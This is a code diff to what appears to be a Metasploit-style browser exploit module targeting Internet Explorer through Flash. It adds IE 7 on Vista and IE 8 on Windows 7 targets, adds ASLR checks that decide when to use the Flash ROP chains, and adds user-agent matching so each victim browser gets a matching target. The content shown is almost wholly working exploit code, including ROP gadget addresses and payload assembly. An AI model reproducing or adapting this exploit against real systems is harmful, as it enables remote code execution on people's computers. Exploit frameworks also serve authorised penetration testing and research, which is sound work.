@@ -68,7 +68,21 @@ def initialize(info={})
6868 [
6969 'IE 8 on Windows XP SP3' ,
7070 {
71- 'Rop' => true
71+ 'Rop' => true ,
72+ 'ASLR' => false
73+ }
74+ ] ,
75+ [
76+ 'IE 7 on Windows Vista' ,
77+ {
78+ 'Rop' => nil
79+ }
80+ ] ,
81+ [
82+ 'IE 8 on Windows 7 SP1' ,
83+ {
84+ 'Rop' => true ,
85+ 'ASLR' => true
7286 }
7387 ]
7488 ] ,
@@ -96,7 +110,7 @@ def get_payload(t, flash_version=nil)
96110
97111 p << payload . encoded
98112 else
99- if datastore [ 'ROP' ] == 'SWF' and flash_version =~ /11,3,300,257/
113+ if t [ 'ASLR' ] == false and datastore [ 'ROP' ] == 'SWF' and flash_version =~ /11,3,300,257/
100114
101115 print_status ( "Using Rop Chain For Flash: #{ flash_version } " )
102116 stack_pivot = [
@@ -125,7 +139,7 @@ def get_payload(t, flash_version=nil)
125139 0x1060e809 , # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
126140 ] . pack ( "V*" )
127141
128- elsif datastore [ 'ROP' ] == 'SWF' and flash_version =~ /11,3,300,265/
142+ elsif t [ 'ASLR' ] == false and datastore [ 'ROP' ] == 'SWF' and flash_version =~ /11,3,300,265/
129143
130144 print_status ( "Using Rop Chain For Flash: #{ flash_version } " )
131145 stack_pivot = [
@@ -154,7 +168,7 @@ def get_payload(t, flash_version=nil)
154168 0x1062800f , # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
155169 ] . pack ( "V*" )
156170
157- elsif datastore [ 'ROP' ] == 'SWF' and flash_version =~ /11,3,300,268/
171+ elsif t [ 'ASLR' ] == false and datastore [ 'ROP' ] == 'SWF' and flash_version =~ /11,3,300,268/
158172
159173 print_status ( "Using Rop Chain For Flash: #{ flash_version } " )
160174 stack_pivot = [
@@ -228,6 +242,10 @@ def get_target(agent)
228242 return targets [ 2 ] #IE 7 on Windows XP SP3
229243 elsif agent =~ /NT 5\. 1/ and agent =~ /MSIE 8/
230244 return targets [ 3 ] #IE 8 on Windows XP SP3
245+ elsif agent =~ /NT 6\. 0/ and agent =~ /MSIE 7/
246+ return targets [ 4 ] #IE 7 on Windows Vista
247+ elsif agent =~ /NT 6\. 1/ and agent =~ /MSIE 8/
248+ return targets [ 5 ] #IE 8 on Windows 7
231249 else
232250 return nil
233251 end
0 commit comments